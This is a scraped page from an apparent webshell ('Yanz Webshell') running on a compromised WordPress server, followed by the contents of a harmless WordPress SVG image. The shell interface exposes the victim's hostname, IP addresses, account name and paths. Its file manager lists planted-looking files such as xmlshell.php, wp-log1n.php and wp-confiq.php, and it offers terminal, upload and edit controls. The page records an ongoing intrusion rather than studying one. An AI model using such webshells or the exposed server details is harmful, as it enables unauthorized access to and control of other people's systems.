Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux cp-2.webhost.mn 4.18.0-425.19.2.lve.el8.x86_64 #1 SMP Thu Apr 6 12:07:52 EDT 2023 x86_64
8.1.33 Safe mode: OFF Datetime: 2025-12-15 09:53:40
2792.60 GB Free: 1879.19 GB (67%)
/home/kheruwym/public_html/ dr-xr-xr-x [ root ] [ home ] Text

Server IP:
202.131.4.21
Client IP:
216.73.216.89
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2025-11-28 13:13:32dr-xr-xr-xRename Touch
[ .. ]dir2025-12-11 23:22:37drwx--x--xRename Touch
[ .tmb ]dir2025-11-12 07:07:40drwxrwxrwxRename Touch
[ .well-known ]dir2025-11-12 07:07:35drwxr-xr-xRename Touch
[ 117cb ]dir2025-11-14 05:53:05dr-xr-xr-xRename Touch
[ 1d8b10 ]dir2025-11-14 08:28:52drwxr-xr-xRename Touch
[ cgi-bin ]dir2025-11-14 05:52:56drwxr-xr-xRename Touch
[ f4727b ]dir2025-11-19 07:48:55drwxr-xr-xRename Touch
[ images ]dir2025-11-14 05:52:56drwxr-xr-xRename Touch
[ wp-admin ]dir2025-11-26 03:07:13drwxr-xr-xRename Touch
[ wp-content ]dir2025-11-22 08:16:38drwxr-xr-xRename Touch
[ wp-includes ]dir2025-11-22 08:16:25drwxr-xr-xRename Touch
.htaccess1.13 KB2025-11-28 13:17:43-r-xr-xr-xRename Touch Edit Download
.htaccess.phpupgrader.574027731.31 KB2022-05-09 06:47:34-rw-r--r--Rename Touch Edit Download
.htaccess.phpupgrader.9e97ffcf1.45 KB2023-08-02 18:50:37-rw-r--r--Rename Touch Edit Download
.htaccess.phpupgrader.initial1.31 KB2022-05-09 06:47:34-rw-r--r--Rename Touch Edit Download
click.php1.93 KB2023-09-14 08:16:25-r--r--r--Rename Touch Edit Download
defaults.php1.93 KB2023-07-21 03:50:14-r--r--r--Rename Touch Edit Download
ex.php5.96 KB2025-11-28 13:13:32-rw-r--r--Rename Touch Edit Download
header.php0 B2025-11-10 06:52:51-rw-r--r--Rename Touch Edit Download
index.php35.97 KB2023-05-29 08:16:38-r-xr-xr-xRename Touch Edit Download
index.php035.97 KB2023-09-11 08:16:37-rwxr-xr-xRename Touch Edit Download
item.php1.29 KB2023-08-18 08:15:39-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
mah.php1.93 KB2023-12-31 03:48:47-r--r--r--Rename Touch Edit Download
networks.php1.29 KB2024-01-13 03:43:18-r--r--r--Rename Touch Edit Download
options.php1.93 KB2023-12-03 08:16:25-r--r--r--Rename Touch Edit Download
pages.php1.44 KB2023-07-28 08:15:18-r--r--r--Rename Touch Edit Download
php.ini40 B2025-11-18 19:54:41-rw-r--r--Rename Touch Edit Download
plugins.php1.87 KB2023-07-01 08:16:25-r--r--r--Rename Touch Edit Download
product.php2.03 KB2023-04-16 03:50:14-r--r--r--Rename Touch Edit Download
quoys.php26.20 KB2025-11-13 01:08:41-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2025-09-30 22:02:04-rw-r--r--Rename Touch Edit Download
robots.txt364 B2023-06-15 08:16:38-r--r--r--Rename Touch Edit Download
search.php1.46 KB2023-12-19 08:16:38-r--r--r--Rename Touch Edit Download
track.php6.49 KB2025-11-12 04:05:52-rw-r--r--Rename Touch Edit Download
txets.php5.89 KB2025-11-12 06:13:57-rw-r--r--Rename Touch Edit Download
wp-activate.php7.21 KB2024-04-02 19:31:34-rw-r--r--Rename Touch Edit Download
wp-blog-header.php347 B2025-11-10 06:52:59-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2023-08-09 07:36:19-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2024-11-13 07:16:19-rw-r--r--Rename Touch Edit Download
wp-config.php3.12 KB2022-02-15 07:01:10-rw-------Rename Touch Edit Download
wp-confiq.php0 B2025-11-10 06:52:50-rw-r--r--Rename Touch Edit Download
wp-cron.php5.51 KB2025-11-10 06:53:00-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-log1n.php1.72 KB2024-01-28 08:14:59-r--r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-settings.php29.38 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-trackback.php4.98 KB2024-11-13 07:16:19-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
xmlshell.php243.86 KB2025-11-13 16:26:34-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Terminal:
Upload file: (Not writable)

HEX
HEX
Server: Apache
System: Linux cp-2.webhost.mn 4.18.0-425.19.2.lve.el8.x86_64 #1 SMP Thu Apr 6 12:07:52 EDT 2023 x86_64
User: kheruwym (1551)
PHP: 8.1.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/kheruwym/public_html/wp-admin/images/contribute-code.svg
<svg width="291" height="290" viewBox="0 0 291 290" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#a)">
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.5 288.965c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M129.031 287.393c31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M113.158 282.732c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M98.456 275.154c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M85.453 264.928c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.247 25.63-57.247 57.247 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M74.626 252.425c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M66.35 238.099c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M60.944 222.464c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M58.584 206.087c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M59.377 189.566c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.617 25.63 57.247 57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M63.274 173.497c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M70.15 158.441c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M79.742 144.97c31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M91.71 133.554c31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M105.628 124.612c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M120.985 118.467c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M137.233 115.335c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M153.768 115.335c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M170.016 118.467c31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M185.373 124.612c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.617 25.63 57.247 57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M199.29 133.554c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M211.258 144.97c31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M220.859 158.441c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M227.727 173.497c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.247 25.63-57.247 57.247 0 31.616 25.631 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M231.624 189.566c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M232.417 206.087c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M230.065 222.464c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M224.651 238.099c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M216.382 252.425c31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M205.548 264.928c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M192.545 275.154c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M177.843 282.732c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M161.969 287.393c31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.5 288.965c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246ZM70.149 158.447c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246ZM220.859 158.447c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#3858E9" fill-rule="evenodd" d="M212.015 100.276 218.306 94l1.059 1.063-6.291 6.276a.249.249 0 0 0-.001.353l6.294 6.31-1.063 1.059-6.294-6.31a1.75 1.75 0 0 1 .005-2.475Zm21.642 0L227.365 94l-1.059 1.063 6.292 6.276a.25.25 0 0 1 .001.353l-6.295 6.31 1.063 1.059 6.294-6.31a1.75 1.75 0 0 0-.004-2.475ZM147.5 224.5h-11a.5.5 0 0 0-.5.5v16a.5.5 0 0 0 .5.5h11v-17Zm1.5 0h3.5a.5.5 0 0 1 .5.5v16a.5.5 0 0 1-.5.5H149v-17Zm-12.5-1.5h16a2 2 0 0 1 2 2v16a2 2 0 0 1-2 2h-16a2 2 0 0 1-2-2v-16a2 2 0 0 1 2-2Z" clip-rule="evenodd"/>
<path fill="#3858E9" d="M69.5 102.5v10H71v-10h10V101H71V91h-1.5v10h-10v1.5h10Z"/>
</g>
<defs>
<clipPath id="a">
<path fill="#fff" d="M.5 0h290v289.802H.5z"/>
</clipPath>
</defs>
</svg>